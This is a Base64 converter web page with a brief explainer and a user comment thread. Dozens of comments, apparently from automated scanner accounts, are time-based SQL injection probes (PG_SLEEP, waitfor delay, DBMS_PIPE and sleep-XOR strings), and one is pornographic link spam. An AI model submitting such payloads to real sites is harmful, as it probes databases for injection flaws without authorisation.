A virtual teacher who reveals to you the great secrets of Base64

Base64 Converter

The Base64 online converter supports both functions of the algorithm on same page. If you need to encode a text to Base64, fill in the “Text” field and press “Encode text to Base64” — the result will appear in the “Base64” field. Otherwise, if you have a Base64 string, paste it into the “Base64” field and press “Decode Base64 to text” — the result will appear in the “Text” field.



About Base64 online converter

Please note that this Base64 converter supports only “main standard” and decodes the data in strict mode. Perhaps this option does not suit your needs, and you want to encode text or decode Base64 using other variations of this algorithm. If so, please check the following online convertors. They are also simple and free, but they are sharpened for certain tasks.

I hope that I managed to develop all the necessary converters that meet your needs. Nevertheless, if you’re missing some Base64 encoding or decoding features, please let me know.

What is a Base64 Translator?

It may seem funny, but some people call the “Base64 converter” a “Base64 translator”. Well, by and large, it really “translates” the text into another form. However, from a technical point of view, this process is called “conversation”, therefore, never call it a “Base64 translator”. And since we are talking about terms, remember that the conversation of text to Base64 is called “encoding” and the reverse process is called “decoding”. In no case it should not be confused with “encryption” and “decryption” which are used to protect data, while Base64 doesn’t offer any protection.

Comments (63)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • developers,
    nice.. site very useful for base64 conversion.
    • Administrator,
      I'm glad you like this Base64 decoder tool, but you forgot to rate it ;)
      • Enrrique,
        Simplemente hermoso
    • Sailentraja,
      aa3865bac2f6c7fa6c34afe28bb40117d6c5075c7d0a1c45723267518011593c

      I need a server coad for this has coad
  • wicho,
    Very useful page, thank you!!
  • iamvietnamese,
    Well, it's very useful. I'm not joking.
  • eltigre,
    In Facebook login the username and password box what type of encoding base
  • User3434,
    Is my uploaded data/code/images whatever safe? It is uploaded for decoding and encoding right?
    Will it be deleted after a certain amount of time?

    Btw: Great site, I really love it..
    • Administrator,
      Hello! Yes, your data is safe because is is not stored on this server, and all necessary computing is performed by processor and RAM. Therefore, when you see the encoding and decoding result, both data is stored only in your browser memory.

      However, if your data is classified as top secret, I would not recommend sending it to a third party server, even if you trust it.
      • qwertyuiop,
        That is a suspiciously large amount of code (https://static.base64.guru/js/form_base64.min.js?1.0.49) for this, and I see an XMLHttpRequest in there...
        • Administrator,
          Hello! That XMLHttpRequest just sends a request to the Data URI data:application/octet-stream;base64 in order to provide a solution for browsers that cannot handle ArrayBuffer downloads. Can you explain please why you think this is suspicious?
      • 990_dpowerful1,
        I used this to decode Doki Doki, USEFUL:DEFINITELY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  • zaheer,
    id===cfc3-afc5-d5fc-17b5-a5a8-1811-cb1a-7332
    plz solve my problem
    • User,
      Wdym, "cfc3-afc5-d5fc-17b5-a5a8-1811-cb1a-7332" isn't base64, it seems to be an user id.
  • Zynx92,
    This site is very useful! Thanks for this site! :)
  • Alex,
    Works well! Thanks!
  • kek,
    I love your site
  • noo,
    good converter
  • Minor,
    Hello, I have on my database base64 for .tiff, .xlsx, .docx and .pdf. I'm wondering if is it possible using Python (backend) to convert from any base64 to .pdf in order to show the document in HTML using Angular (frontend).

    Thanks for your help and share knowledge. It help us a lot.
  • Schotle,
    This page sure is very helpful and accurate, 10/10 would recommend
  • Unknown8421669,
    Might help my arg, thx
  • Im_so_cool,
    I use this to hide my pass word works like a charm (;
  • TalkPlayMore,
    what? this is so wrong! 1=1 2=2 3=3 4=4 5=5 6=6 7=7 8=8 9=9 10=A 11=B.........34=Y 35=Z 36=a 37=b 38=c 38=d......60=y 61=z 62=_ 63=+ 64=10 and so on... 128=20 4096=100 262144= 1000 and 16777216=10000 and so on... please fix, i have absolutely NO idea how you get those results!

    [UPDATED: ]
    also, if I encode, it turns into i-dont-even-know, there is no way you got this with an algorithimic bot.
  • Finn,
    I was hoping it would be numbered but instead it turned to TnpVMk5ETTO
  • JamowBeck,
    Both informational and fun.
  • nqhXncMU,
    -1 OR 2+331-331-1=0+0+0+1
  • nqhXncMU,
    -5 OR 365=(SELECT 365 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+594-594-1=0+0+0+1 --
  • nqhXncMU,
    PIoae079' OR 232=(SELECT 232 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    -1' OR 2+936-936-1=0+0+0+1 --
  • nqhXncMU,
    VNwB4aiq') OR 763=(SELECT 763 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+116-116-1=0+0+0+1
  • nqhXncMU,
    -1' OR 2+895-895-1=0+0+0+1 --
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    -1 OR 2+25-25-1=0+0+0+1 --
  • nqhXncMU,
    swWib9c0') OR 840=(SELECT 840 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    -5) OR 549=(SELECT 549 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • gBqsPxAZ,
    1
  • nqhXncMU,
    -1 OR 2+897-897-1=0+0+0+1
  • nqhXncMU,
    hKJ3MWdH'; waitfor delay '0:0:15' --
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    -1)) OR 997=(SELECT 997 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    -1' OR 2+410-410-1=0+0+0+1 --
  • ncMUFCMU,
    BNdpLd5w'; waitfor delay '0:0:15' --
  • ncMUFCMU,
    -1" OR 2+422-422-1=0+0+0+1 --
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    -1)) OR 433=(SELECT 433 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    ecio0ts0')) OR 255=(SELECT 255 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 2+392-392-1=0+0+0+1
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    wItWkjue')) OR 913=(SELECT 913 FROM PG_SLEEP(15))--
  • Roberto,
    Un buen método de convertir en formato base64.
  • Lynn,
    14 Common Misconceptions About Tattooed Pornstars
    most popular pornstars
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.